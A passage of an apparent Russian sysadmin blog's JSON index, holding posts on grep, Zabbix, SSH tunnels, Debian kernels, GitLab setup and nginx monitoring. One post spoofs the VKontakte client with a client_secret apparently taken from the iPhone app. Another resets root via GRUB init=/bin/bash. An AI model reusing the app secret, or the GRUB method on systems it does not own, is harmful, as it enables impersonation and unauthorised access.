href=\"/#REGEX\"\u003eРегулярные выражения\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"операция-или\"\u003e\u003ca name=\"OR\"\u003e\u003c/a\u003eОперация ИЛИ\u003c/h2\u003e\n\u003ch3 id=\"grep-\"\u003egrep \\|\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egrep \u0026#39;слово1\\|слово2\u0026#39; файл_данных.txt\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"grep--e-расширенный-regexp-и-эквивалентный-ему-egrep\"\u003egrep -E (расширенный regexp) и эквивалентный ему egrep\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egrep -E \u0026#39;слово1|слово2\u0026#39; файл_данных.txt\negrep \u0026#39;слово1|слово2\u0026#39; файл_данных.txt\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"grep--e\"\u003egrep -e\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egrep -e слово1 -e слово2 файл_данных.txt\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"операция-и\"\u003e\u003ca name=\"AND\"\u003e\u003c/a\u003eОперация И\u003c/h2\u003e\n\u003ch3 id=\"grep--e-1\"\u003egrep -E\u003c/h3\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003egrep -E \u0026#39;слово1.*слово2\u0026#39; файл_данных.txt\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e\u003cem\u003e(в только таком порядке)\u003c/em\u003e\u003c/p\u003e","title":"Логические операции в grep"},{"content":"Функционал Zabbix помимо всего прочего позволяет с заданной периодичностью проверять на доступность веб-приложения. С помощью мастер сценариев можно производить вход на формах авторизации на сайте и проверять доступность, а также содержимое, отдаваемое веб-сервером. Для осуществления таких проверок необходима сборка пакета zabbix-сервера с добавлением опции \u0026ldquo;\u0026ndash;with-libcurl\u0026rdquo; (для корректной установки необходимо наличие пакета libcurl4-openssl-dev)\nПосле включения поддержки запросов посредством библиотек curl нужно добавить сценарии для мониторинга с помощью веб-интерфейса программмы:\nЗаходим в \u0026ldquo;Настройка - Узлы сети (Configuration - Hosts)\u0026rdquo; и, выбрав хост для мониторинга, щелкаем на \u0026ldquo;Группы элементов данных (Applications)\u0026rdquo;, где создаем новую с названием \u0026ldquo;Web frontend\u0026rdquo; (для примера, название может быть любым) Переходим в меню настройки сценариев \u0026ldquo;Настройка - Веб (Configuration - Web\u0026rdquo;, выбираем справа наш компьютер и создаем новый сценарий нажатием \u0026ldquo;Создать сценарий (Create scenario) Выбираем только что созданную группу элементов данных, придумываем уникальное имя и, при необходимости, параметры авторизации Переходим на вкладку \u0026ldquo;Шаги (Steps)\u0026rdquo; и задаем шаги сценария: в самом простом случае указываем 1 шаг для проверки наличия какой-либо страницы с указанием необходимого наличия на странице какого-то текста; в более сложных вариантах создаем последовательные шаги для авторизации, создания POST-запросов и получения данных от веб-приложения. Проверяем работу сценариев на странице \u0026ldquo;Мониторинг - Веб (Monitoring - Web)\u0026rdquo; или снизу главной страницы Zabbix - \u0026ldquo;ПАНЕЛЬ (Dashboard)\u0026rdquo;. Ссылки:\nПример сложного сценария в официальном мануале Устранение ошибок при сборке zabbix-server с опциями ","permalink":"https://blog.xsk.in/it/veb-monitoring-v-zabbix/292/","summary":"\u003cp\u003eФункционал \u003cstrong\u003eZabbix\u003c/strong\u003e помимо всего прочего позволяет с заданной периодичностью проверять на доступность веб-приложения. С помощью мастер сценариев можно производить вход на формах авторизации на сайте и проверять доступность, а также содержимое, отдаваемое веб-сервером. Для осуществления таких проверок необходима сборка пакета zabbix-сервера с добавлением опции \u0026ldquo;\u003cem\u003e\u0026ndash;with-libcurl\u003c/em\u003e\u0026rdquo; (для корректной установки необходимо наличие пакета \u003cem\u003elibcurl4-openssl-dev\u003c/em\u003e)\u003c/p\u003e","title":"Веб-мониторинг в Zabbix"},{"content":"Существуют ситуации, когда необходим доступ к сервису, запущенному локально на компьютере за NAT\u0026rsquo;ом. Если есть компьютер, к которому есть доступ извне, находящийся в той же сети, можно пробросить сервис наружу с помощью ssh и функции проброса локальных обращений на удаленный сервер. К примеру, для доступа к сервису по порту 8080 на компьютере 192.168.0.2 будем использовать компьютер 9.9.9.9, доступный по ssh извне для пользователя user. После проброса сервис будет доступен на 9000 порту localhost\u0026rsquo;a:\nssh -L localhost:9000:192.168.0.2:8080 user@9.9.9.9 После этой команды вводим пароль пользователя user для поднятия сесси ssh на сервере 9.9.9.9 и пользуемся проброшенным удаленных сервисом как локальным.\nСсылки:\nhttp://habrahabr.ru/post/122445/ ","permalink":"https://blog.xsk.in/it/probros-porta-cherez-ssh/297/","summary":"\u003cp\u003eСуществуют ситуации, когда необходим доступ к сервису, запущенному локально на компьютере за NAT\u0026rsquo;ом. Если есть компьютер, к которому есть доступ извне, находящийся в той же сети, можно пробросить сервис наружу с помощью ssh и функции проброса локальных обращений на удаленный сервер. К примеру, для доступа к сервису по порту 8080 на компьютере 192.168.0.2 будем использовать компьютер 9.9.9.9, доступный по ssh извне для пользователя user. После проброса сервис будет доступен на 9000 порту localhost\u0026rsquo;a:\u003c/p\u003e","title":"Проброс порта через ssh"},{"content":"Debian Squeeze из коробки работает с ядром 2.6.32, но при необходимости есть возможность обновить его до версии выше третьей из официального репозитория backports. Для этого необходимо просто добавить строчку \u0026ldquo;deb http://backports.debian.org/debian-backports squeeze-backports main\u0026rdquo; в список репозиториев и установить новое ядро с помощью менеджера aptitude, обновив дополнительно в ходе установке по запросу системы требуемые зависимости. Подробнее под катом:\nДобавляем репозиторий:\necho \u0026#34;deb http://backports.debian.org/debian-backports squeeze-backports main\u0026#34; \u0026gt;\u0026gt; /etc/apt/sources.list Обновляем кэш репозиториев, можно также провести обновление системы (по желанию):\naptitude update \u0026amp;\u0026amp; aptitude -y upgrade Ищем доступные ядра под нашу систему:\naptitude search linux-image-3 Вывод будет выглядеть примерно так:\np linux-image-3.2.0-0.bpo.4-amd64 - Linux 3.2 for 64-bit PCs p linux-image-3.2.0-0.bpo.4-amd64-dbg - Debugging symbols for Linux 3.2.0-0.bpo.4-amd64 p linux-image-3.2.0-0.bpo.4-rt-amd64 - Linux 3.2 for 64-bit PCs, PREEMPT_RT p linux-image-3.2.0-0.bpo.4-rt-amd64-dbg - Debugging symbols for Linux 3.2.0-0.bpo.4-rt-amd64 Выбрав ядро под нашу архитектуру (забывчивые могут проверить текущую систему командой uname -a), устанавливаем новое ядро:\naptitude install linux-image-3.2.0-0.bpo.4-amd64 В процессе установки менеджер предупредит нас о необходимости обновить старые версии initramfs-tools и linux-base, отказываемся сохранять старые версии, затем соглашаемся на установку новых из backports (сначала жмем n, затем Y).\nЕсли обновление прошло без ошибок, перезагружаемся для завершения обновления. Если были ошибки - исправляем их. В случае входа в другое ядро выбираем нужное по счету в списке /boot/grub/grub.cfg (считать с нуля), указываем требуемую строку запуска в файле /etc/default/grub с помощью параметра GRUB_DEFAULT.\nСсылки:\nhttp://erdees.ru/linux-2/kernel-3-2-debian-squeeze/ ","permalink":"https://blog.xsk.in/it/obnovlenie-versii-yadra-do-3-2-na-debian-squeeze/299/","summary":"\u003cp\u003eDebian Squeeze из коробки работает с ядром 2.6.32, но при необходимости есть возможность обновить его до версии выше третьей из официального репозитория \u003cem\u003ebackports\u003c/em\u003e. Для этого необходимо просто добавить строчку \u0026ldquo;\u003cem\u003e\u003cstrong\u003edeb \u003ca href=\"http://backports.debian.org/debian-backports\"\u003ehttp://backports.debian.org/debian-backports\u003c/a\u003e squeeze-backports main\u003c/strong\u003e\u003c/em\u003e\u0026rdquo; в список репозиториев и установить новое ядро с помощью менеджера \u003cem\u003eaptitude\u003c/em\u003e, обновив дополнительно в ходе установке по запросу системы требуемые зависимости. Подробнее под катом:\u003c/p\u003e","title":"Обновление версии ядра до 3.2 на Debian Squeeze"},{"content":"После замены сетевой карты или при разворачивании образа Linux на машине с другим железом нумерация сетевых интерфейсов сдвигается, и первым становится не eth0, а eth1. Исправить это можно удалением лишних сетевых адаптеров в файле /etc/udev/rules.d/*-persistent-net.rules (например, в Ubuntu это 70-persistent-net.rules). Изменения применяются после перезагрузки.\n","permalink":"https://blog.xsk.in/it/pereimenovanie-setevogo-interfejsa-v-linux/301/","summary":"\u003cp\u003eПосле замены сетевой карты или при разворачивании образа Linux на машине с другим железом нумерация сетевых интерфейсов сдвигается, и первым становится не \u003cem\u003eeth0\u003c/em\u003e, а \u003cem\u003eeth1\u003c/em\u003e. Исправить это можно удалением лишних сетевых адаптеров в файле \u003cem\u003e\u003cstrong\u003e/etc/udev/rules.d/*-persistent-net.rules\u003c/strong\u003e\u003c/em\u003e (например, в Ubuntu это \u003cem\u003e\u003cstrong\u003e70-persistent-net.rules\u003c/strong\u003e\u003c/em\u003e). Изменения применяются после перезагрузки.\u003c/p\u003e","title":"Переименование сетевого интерфейса в Linux"},{"content":"GitLab - веб-приложение для управления проектами, создаваемыми на основе git-репозитория. Помимо своих основных функций, эта программа позволяет через веб интерфейс управлять пользователями, правами доступа и многим другим.\nСистемные требования и подробная инструкция по установке и настройке инструментария есть на официальном сайте. Ниже приведен последовательный список команд с некоторыми комментариями, следуя которым приложение было успешно установлено и протестировано в Debian Squeeze. В процессе установки по официальным мануалам возникают проблемы с невыполненными требованиями или неудовлетворенными зависимостями. В листинге ниже они учтены и исправлены.\nПервым делом необходимо заменить устаревшие репозитории Debian по умолчанию на что-то более свежее, например DotDeb (описание добавления здесь). Обновим список пакетов и установим необходимый для начальных операций минимум:\napt-get update apt-get install -y build-essential zlib1g-dev libyaml-dev libssl-dev libgdbm-dev libreadline-dev libncurses5-dev libffi-dev curl git-core redis-server checkinstall libxml2-dev libxslt-dev libcurl4-openssl-dev libicu-dev Для работы GitLab требуется Python версии между 2,5 и 3.0, поэтому спокойно ставим содержащийся в стандартном репозитории Debian python 2.7:\napt-get install -y python Проверяем, что имеются символические ссылки между python и python2:\npython --version python2 --version В случае их отсутствия (разные версии) исправляем:\nln -s /usr/bin/python /usr/bin/python2 Добавляем дополнения с необходимыми утилитами:\napt-get install python-docutils А вот ruby требуется старше 1.9.3 и вплоть до 2.0.0, поэтому проверяем имеющуюся и при необходимости обновляем вручную:\nruby --version mkdir /tmp/ruby \u0026amp;\u0026amp; cd /tmp/ruby curl --progress ftp://ftp.ruby-lang.org/pub/ruby/2.0/ruby-2.0.0-p247.tar.gz | tar xz cd ruby-2.0.0-p247 ./configure make make install Устанавливаем gem и инструмент усправления ими bundler:\napt-get install gem gem install bundler --no-ri --no-rdoc Самое время создать нового пользователя для работы с git и запретить использовать имя для входа в систему:\nadduser -disabled-login -gecos \u0026#39;GitLab\u0026#39; git Переходим к установке GitLab Shell для доступа к репозиторию по SSH:\ncd /home/git apt-get install sudo sudo -u git -H git clone https://github.com/gitlabhq/gitlab-shell.git cd gitlab-shell sudo -u git -H git checkout v1.7.0 Копируем файл конфигурации и вносим изменения в gitlab_url, где указываем доменное имя для будущего репозитория, например \u0026lsquo;http://domain.com/'\nsudo -u git -H cp config.yml.example config.yml sudo -u git -H mcedit config.yml Устанавливаем:\nsudo -u git -H ./bin/install Теперь необходимо создать базу данных для GitLab, который поддерживает PostgreSQL и MySQL. Рассмотрим установку (если нет) и настройку MySQL. Устанавливаем требуемые пакеты (в процессе установки потребует пароль пользователя root для доступа к базе данных):\napt-get install -y mysql-server mysql-client libmysqlclient-dev Входим в СУБД с ранее указанным паролем:\nmysql -u root -p Создадим нового пользователя для GitLab.Не нужно вводить \u0026lsquo;mysql\u0026gt;\u0026rsquo; - это строка приветствия сеанса MySQL, вместо password вводим новый пароль:\nmysql\u0026gt; CREATE USER \u0026#39;gitlab\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;password\u0026#39;; Создадим базу данных для GitLab:\nmysql\u0026gt; CREATE DATABASE IF NOT EXISTS `gitlabhq_production` DEFAULT CHARACTER SET `utf8` COLLATE `utf8_unicode_ci`; Предоставим доступ новому пользователю к только что созданной базе данных:\nmysql\u0026gt; GRANT SELECT, LOCK TABLES, INSERT, UPDATE, DELETE, CREATE, DROP, INDEX, ALTER ON `gitlabhq_production`.* TO \u0026#39;gitlab\u0026#39;@\u0026#39;localhost\u0026#39;; Завершаем сеанс:\nmysql\u0026gt; \\q Пробуем войти в новую базу данных под новым пользователем:\nsudo -u git -H mysql -u gitlab -p -D gitlabhq_production Если получаем строку приветствия \u0026lsquo;mysql\u0026gt;\u0026rsquo;, все настроено верно. Можно выходить:\nmysql\u0026gt; \\q Переходим к установке самого GitLab:\ncd /home/git/ sudo -u git -H git clone https://github.com/gitlabhq/gitlabhq.git gitlab cd /home/git/gitlab sudo -u git -H git checkout 6-0-stable Копируем файл конфигурации, снова вводя вместо localhost реальное доменное имя для будущего репозитория:\nsudo -u git -H cp config/gitlab.yml.example config/gitlab.yml sudo -u git -H mcedit config/gitlab.yml Устанавливаем права доступа для git на запись логов и временных файлов:\nchown -R git log/ chown -R git tmp/ chmod -R u+rwX log/ chmod -R u+rwX tmp/ Создаем папку под сателлиты:\nsudo -u git -H mkdir /home/git/gitlab-satellites Создаем папки под сокеты и PID, выставляем права доступа:\nsudo -u git -H mkdir tmp/pids/ sudo -u git -H mkdir tmp/sockets/ chmod -R u+rwX tmp/pids/ chmod -R u+rwX tmp/sockets/ Для корректной работы с резервными копиями создаем папку uploads с соответствующими правами доступа:\nsudo -u git -H mkdir public/uploads chmod -R u+rwX public/uploads Копируем файл конфигурации Unicorn и при наличии более 2ГБ RAM увеличиваем количество рабочих процессов (workers):\nsudo -u git -H cp config/unicorn.rb.example config/unicorn.rb sudo -u git -H mcedit config/unicorn.rb Задаем глобальные настройки для git:\nsudo -u git -H git config --global user.name \u0026#34;git\u0026#34; sudo -u git -H git config --global user.email \u0026#34;git@localhost\u0026#34; sudo -u git -H git config --global core.autocrlf input Настраиваем БД, для этого копируем файл конфигурации и вводим данные авторизации для доступа к недавно созданной БД:\nsudo -u git cp config/database.yml.mysql config/database.yml sudo -u git -H mcedit config/database.yml sudo -u git -H chmod o-rwx config/database.yml Устанавливаем bundle, обратите внимание на указанную опцию \u0026lsquo;\u0026ndash;without \u0026hellip; postgres\u0026rsquo; (довольно длительный процесс):\ncd /home/git/gitlab gem install charlock_holmes --version \u0026#39;0.6.9.4\u0026#39; sudo -u git -H bundle install --deployment --without development test postgres aws Инициализируем БД:\nsudo -u git -H bundle exec rake gitlab:setup RAILS_ENV=production Устанавливаем init-скрипт для автозапуска:\ncp lib/support/init.d/gitlab /etc/init.d/gitlab chmod +x /etc/init.d/gitlab update-rc.d gitlab defaults 21 Проверяем конфигурацию:\nsudo -u git -H bundle exec rake gitlab:env:info RAILS_ENV=production Если все позиции окрашены зеленым цветом, можно пробовать запускать:\n/etc/init.d/gitlab start Повторно проверяем, в случае ошибки задания глобальных параметров, повторяем ввод команд:\nsudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production sudo -u git -H git config --global user.name \u0026#34;GitLab\u0026#34; sudo -u git -H git config --global user.email \u0026#34;gitlab@localhost\u0026#34; Последняя проверка:\nsudo -u git -H bundle exec rake gitlab:check RAILS_ENV=production Находим порт, на котором unicorn.rb разместил веб интерфейс (как правило, 8080):\nnetstat -ntlp Переходим в браузере по адресу, указанному при настройке, и порту выше, например, http://domain.com:8080. Вводим в форму авторизации логин admin@local.host и пароль 5iveL!fe, заданные по умолчанию.\nДля комфортной работы можно установить nginx в роли фронтенда с проксированием на необходимый порт gitlab, для этого устанавливаем веб-сервер (если нет):\napt-get install nginx Скачиваем конфигурацию виртуального сервера и включаем её с помощью символической ссылки:\ncurl --output /etc/nginx/sites-available/gitlab https://raw.github.com/gitlabhq/gitlabhq/master/lib/support/nginx/gitlab ln -s /etc/nginx/sites-available/gitlab /etc/nginx/sites-enabled/gitlab При необходимости вносим изменения в файл конфигурации и перезапускаем веб-сервер для принятия изменений:\nmcedit /etc/nginx/sites-available/gitlab /etc/init.d/nginx restart Репозиторий теперь доступен по прямому доменному имени без ввода порта.\n***Замечание:***Если в процессе работы потребовалось сменить доменное имя для рабочего git-сервера, необходимо внести изменения в конфиги nginx, а также файлы, измененные в процессе установки gitlab (они лежат в домашней директории пользователя). После всех процедур перезапустить nginx и gitlab (проверить остановку и повторный запуск процесса unicorn.rb).\nСсылки:\nhttp://blog.nonick.name/sreda-razrabotki/debian/git-debian/ustanovka-gitlab/ http://habrahabr.ru/post/191764/ ","permalink":"https://blog.xsk.in/it/ustanovka-gitlab-na-debian-squeeze/303/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/gitlabhq/\"\u003eGitLab\u003c/a\u003e - веб-приложение для управления проектами, создаваемыми на основе git-репозитория. Помимо своих основных функций, эта программа позволяет через веб интерфейс управлять пользователями, правами доступа и многим другим.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/09/gitlab.png\"\u003e\u003cimg alt=\"gitlab\" loading=\"lazy\" src=\"/wp-content/uploads/2013/09/gitlab.png\"\u003e\u003c/a\u003eСистемные требования и подробная инструкция по установке и настройке инструментария есть на официальном сайте. Ниже приведен последовательный список команд с некоторыми комментариями, следуя которым приложение было успешно установлено и протестировано в Debian Squeeze. В процессе установки по официальным мануалам возникают проблемы с невыполненными требованиями или неудовлетворенными зависимостями. В листинге ниже они учтены и исправлены.\u003c/p\u003e","title":"Установка GitLab на Debian Squeeze"},{"content":"Дистрибутивы Debian Squeeze/Wheezy содержат зачастую далеко не самые новые версии пакетов для разворачивания на машине LAMP сервера. Иправить это досадное недоразумение можно, подключив сторонний репозиторий DotDeb, содержащий актуальные стабильные версии такого ПО, как:\nNginx, PHP + PHP extensions : APC, imagick, Pinba, xcache, Xdebug, XHprof\u0026hellip; MySQL Redis Zabbix Passenger\u0026hellip; Официально dotdeb имеет поддержку Debian 6 и 7 для обоих видов архитектур (amd64 и i386).\nДля подключения этого репозитория необходимо:\nДобавить в /etc/apt/sources.list строчки для своего дистрибутива (в качестве репозитория можно указать ближайшее зеркало)\ndeb http://packages.dotdeb.org wheezy all deb-src http://packages.dotdeb.org wheezy all или\ndeb http://packages.dotdeb.org squeeze all deb-src http://packages.dotdeb.org squeeze all Скачать и добавить в систему GnuPG ключ:\nwget http://www.dotdeb.org/dotdeb.gpg cat dotdeb.gpg | apt-key add - Выполнить обновление текущего списка пакетов и начать пользоваться репозиторием:\napt-get update Для выполнения команд apt-get и apt-key могут потребоваться права суперпользователя. Для установки версий пакетов, отличных от предлагаемых по умолчанию, есть возможность прямого их указания или использование архивной версии репозитория. Подробности на официальном сайте.\n","permalink":"https://blog.xsk.in/it/podklyuchenie-repozitoriya-dotdeb/308/","summary":"\u003cp\u003eДистрибутивы Debian Squeeze/Wheezy содержат зачастую далеко не самые новые версии пакетов для разворачивания на машине LAMP сервера. Иправить это досадное недоразумение можно, подключив сторонний репозиторий \u003ca href=\"http://www.dotdeb.org\"\u003eDotDeb\u003c/a\u003e, содержащий актуальные стабильные версии такого ПО, как:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eNginx,\u003c/li\u003e\n\u003cli\u003ePHP + PHP extensions : APC, imagick, Pinba, xcache, Xdebug, XHprof\u0026hellip;\u003c/li\u003e\n\u003cli\u003eMySQL\u003c/li\u003e\n\u003cli\u003eRedis\u003c/li\u003e\n\u003cli\u003eZabbix\u003c/li\u003e\n\u003cli\u003ePassenger\u0026hellip;\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eОфициально dotdeb имеет поддержку Debian 6 и 7 для обоих видов архитектур (amd64 и i386).\u003c/p\u003e","title":"Подключение репозитория DotDeb"},{"content":"Есть возможность подменить иконку приложения, с которого было оставлено сообщение на стене или в приватном чате, с Android на Apple. Тем самым пользователи гуглофонов смогут выдавать себя за ярых яблофилов. Для извращенства необходим рутовый доступ к файловой системе телефона и несколько минут терпения:\nНужно хотя бы один раз ввести свои данные для входа Вконтакте с андроид-смартфона\nВыгрузить приложение из оперативной памяти устройства (с помощью любого диспетчера задач)\nПерейти по ссылке для получения token\u0026lsquo;а, для этого ввести свои данные в конце ссылки:\nhttps://oauth.vk.com/token?grant_type=password\u0026amp;client_id=3140623\u0026amp;client_secret=VeWdmVclDCtn6ihuP1nt\u0026amp;username=user@domain.ru\u0026amp;password=mypassword Скопировать полученный токен\nВписать этот токет в поле sid в файле /data/data/com.vkontakte.android/shared_prefs/null.xml\nВойти в приложение снова (приложение не должно разлогинивать, если это произошло - процедуру необходимо повторить с более тщательным убиванием процесса)\nДанный способ подмена информации об используемом клиенте лежит в основе метода авторизации по протоколу OAuth. В приложениях под IOS и Android авторизация происходит в два этапа: сначала на сервер передаются логин и пароль в открытом виде, а в ответ получается токен. В дальнейшем, для идентификации используется только он. Токен помимо пары логин+пароль содержит данные о клиенте, которые в ссылке выше подменены на яблочные (выдернуты из клиента для iPhone).\n","permalink":"https://blog.xsk.in/it/kak-vy-dat-vkontakte-svoj-android-za-iphone/310/","summary":"\u003cp\u003eЕсть возможность подменить иконку приложения, с которого было оставлено сообщение на стене или в приватном чате, с Android на Apple. Тем самым пользователи гуглофонов смогут выдавать себя за ярых яблофилов. Для извращенства необходим рутовый доступ к файловой системе телефона и несколько минут терпения:\u003c/p\u003e","title":"Как выдать Вконтакте свой Android за iPhone"},{"content":"В nginx есть HttpStubStatusModule- модуль, с помощью которого можно просматривать статистику веб сервера, такую как:\nactive connections - количество открытых коннектов в данный момент, включая коннекты на backend, server accepts - количество принятых подключений, server handled - количество обработанных подключений, server requests - количество принятых запросов, reading - количество запросов в данный момент, заголовки которых читает nginx, writing - количество запросов в данный момент, тело которых читает nginx + находящиеся в обработки + идет отдача данных, waiting - количество ожидающих (keep-alive) соединений в данный момент (waiting = active - reading - writing). После сборки пакета с этим модулем в конфигурации сервера указываем путь до страницы со статистикой и права доступа к ней:\nlocation /nginx_status { stub_status on; access_log off; allow SOME.IP.ADD.RESS; deny all; } Однако удобнее наблюдать за этой статистикой по графикам, используя для сбора информации и отрисовки Zabbix или другую среду мониторинга (есть подобные решения для Cacti). Для этого установим скрипт и впишем в настройки агента и сервера использование этого скрипта в процессе работы, а затем импортируем шаблон для построения графиков.\nУстановка скрипта Создадим директорию для хранения скриптов\nmkdir /etc/zabbix/scripts/ Разместим в ней наш скрипт для сбора и обработки статистики\nvi /etc/zabbix/scripts/nginx-stats.sh #!/bin/bash ### OPTIONS VERIFICATION if [[ -z \u0026#34;$1\u0026#34; || -z \u0026#34;$2\u0026#34; || -z \u0026#34;$3\u0026#34; ]]; then exit 1 fi ##### PARAMETERS ##### RESERVED=\u0026#34;$1\u0026#34; METRIC=\u0026#34;$2\u0026#34; STATSURL=\u0026#34;$3\u0026#34; # CURL=\u0026#34;/usr/bin/curl\u0026#34; TTLCACHE=\u0026#34;55\u0026#34; FILECACHE=\u0026#34;/tmp/zabbix.nginx.`echo $STATSURL | md5sum | cut -d\u0026#34; \u0026#34; -f1`.cache\u0026#34; TIMENOW=`date \u0026#39;+%s\u0026#39;` ##### RUN ##### if [ -s \u0026#34;$FILECACHE\u0026#34; ]; then TIMECACHE=`stat -c\u0026#34;%Z\u0026#34; \u0026#34;$FILECACHE\u0026#34;` else TIMECACHE=0 fi if [ \u0026#34;$(($TIMENOW - $TIMECACHE))\u0026#34; -gt \u0026#34;$TTLCACHE\u0026#34; ]; then echo \u0026#34;\u0026#34; \u0026gt;\u0026gt; $FILECACHE # !!! DATACACHE=`$CURL --insecure -s \u0026#34;$STATSURL\u0026#34;` || exit 1 echo \u0026#34;$DATACACHE\u0026#34; \u0026gt; $FILECACHE # !!! fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;active\u0026#34; ]; then cat $FILECACHE | grep \u0026#34;Active connections\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2 fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;accepts\u0026#34; ]; then cat $FILECACHE | sed -n \u0026#39;3p\u0026#39; | cut -d\u0026#34; \u0026#34; -f2 fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;handled\u0026#34; ]; then cat $FILECACHE | sed -n \u0026#39;3p\u0026#39; | cut -d\u0026#34; \u0026#34; -f3 fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;requests\u0026#34; ]; then cat $FILECACHE | sed -n \u0026#39;3p\u0026#39; | cut -d\u0026#34; \u0026#34; -f4 fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;reading\u0026#34; ]; then cat $FILECACHE | grep \u0026#34;Reading\u0026#34; | cut -d\u0026#39;:\u0026#39; -f2 | cut -d\u0026#39; \u0026#39; -f2 fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;writing\u0026#34; ]; then cat $FILECACHE | grep \u0026#34;Writing\u0026#34; | cut -d\u0026#39;:\u0026#39; -f3 | cut -d\u0026#39; \u0026#39; -f2 fi if [ \u0026#34;$METRIC\u0026#34; = \u0026#34;waiting\u0026#34; ]; then cat $FILECACHE | grep \u0026#34;Waiting\u0026#34; | cut -d\u0026#39;:\u0026#39; -f4 | cut -d\u0026#39; \u0026#39; -f2 fi # exit 0 Назначим права доступа:\nchown zabbix:zabbix -R /etc/zabbix/scripts/ chmod 750 /etc/zabbix/scripts/ chmod 700 /etc/zabbix/scripts/nginx-stats.sh Проверим работу скрипта и настройки nginx, запустив скрипт вручную:\n/etc/zabbix/scripts/nginx-stats.sh none active http://you.site.com/nginx_status Выполнять запрос можно непосредственно с сервера с помощью скриптов внешней проверки или же получением сформированных агентом пользовательских параметров. Первый подход позволяет выполнить единичную настройку и запрашивать необходимые данные с агентов, второй выносит работу по получению необходимых параметров, на агента тем самым снижая нагрузку на сервер. Рассмотрим вариант с заданием пользовательских параметров в конфигурации агента.\nНастройка Zabbix-агента Внесем в настройки агента упоминание о нашем скрипте:\nvi /etc/zabbix/zabbix_agentd.conf UserParameter=nginx[*],/etc/zabbix/scripts/nginx-stats.sh \u0026#34;none\u0026#34; $1 $2 После перезапуска агента с новыми параметрами проверим на сервере корректность получения данных:\nzabbix_get -s HOST -k \u0026#34;nginx[active,http://you.site.com/nginx_status]\u0026#34; Настройка Zabbix-сервера Импортируем новый шаблон в веб-интерфейсе Zabbix:\nДобавим шаблон необходимым узлам:\nОпределим для наблюдаемого узла ссылку, по которой отображается статистика, с помощью макроса:\nЧерез небольшой промежуток времени (по умолчанию, сбор item-ов с помощью скрипта каждые 60 секунд) начнут появлятся данные на графиках.\nСсылки:\nhttp://wiki.enchtex.info/howto/zabbix/nginx_monitoring http://wiki.nginx.org/HttpStubStatusModule https://www.zabbix.com/documentation/ru/2.0/manual/config/items/userparameters ","permalink":"https://blog.xsk.in/it/monitoring-statistiki-nginx-v-zabbix/312/","summary":"\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/12/nginx-zabbix-graph.png\"\u003e\u003cimg alt=\"nginx-zabbix-graph\" loading=\"lazy\" src=\"/wp-content/uploads/2013/12/nginx-zabbix-graph.png\"\u003e\u003c/a\u003eВ nginx есть \u003ca href=\"http://wiki.nginx.org/HttpStubStatusModule\"\u003eHttpStubStatusModule\u003c/a\u003e- модуль, с помощью которого можно просматривать статистику веб сервера, такую как:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cem\u003eactive connections\u003c/em\u003e - количество открытых коннектов в данный момент, включая коннекты на backend,\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eserver accepts\u003c/em\u003e - количество принятых подключений,\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eserver handled\u003c/em\u003e - количество обработанных подключений,\u003c/li\u003e\n\u003cli\u003e\u003cem\u003eserver requests\u003c/em\u003e - количество принятых запросов,\u003c/li\u003e\n\u003cli\u003e\u003cem\u003ereading\u003c/em\u003e - количество запросов в данный момент, заголовки которых читает nginx,\u003c/li\u003e\n\u003cli\u003e\u003cem\u003ewriting\u003c/em\u003e - количество запросов в данный момент, тело которых читает nginx + находящиеся в обработки + идет отдача данных,\u003c/li\u003e\n\u003cli\u003e\u003cem\u003ewaiting\u003c/em\u003e - количество ожидающих (keep-alive) соединений в данный момент (waiting = active - reading - writing).\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eПосле сборки пакета с этим модулем в конфигурации сервера указываем путь до страницы со статистикой и права доступа к ней:\u003c/p\u003e","title":"Мониторинг статистики Nginx в Zabbix"},{"content":"Для смены пароля от учетной записи root в Linux необходим физический доступ к компьютеру, так как потребуется внесение изменений в загрузочное меню GRUB (для доступа по сети потребуется IP-KVM). Для обновления рутового пароля необходимо:\nПерезагрузить компьютер любым доступным образом (например, сочетанием клавиш Ctrl+Alt+Del)\nДождаться появления загрузочного меню и клавишами курсора выбрать необходимую версию Linux (в случае, если меню не отображается, надо несколько раз нажать Shift непосредственно перед загрузкой системы)\nВыбрав систему, нажать клавишу редактирования e\nНайти строку с загружаемым ядром вида (вместо kernel может быть linux)\nkernel /образ_ядра root=/корневой_раздел ro quiet и добавить через пробел\ninit=/bin/bash Загрузить систему с внесенными изменениями сочетанием Ctrl+X\nПеревести корневой раздел в режим записи mount -rw -o remount /\nВвести команду passwd и установить новый пароль суперпользователя\nПерезагрузиться и войти в систему с новым паролем\nСсылки:\nDebian reset root password ","permalink":"https://blog.xsk.in/it/vosstanovlenie-parolya-root-v-linux/318/","summary":"\u003cp\u003eДля смены пароля от учетной записи \u003cem\u003eroot\u003c/em\u003e в Linux необходим физический доступ к компьютеру, так как потребуется внесение изменений в загрузочное меню \u003cem\u003eGRUB\u003c/em\u003e (для доступа по сети потребуется \u003cem\u003eIP-KVM\u003c/em\u003e). Для обновления рутового пароля 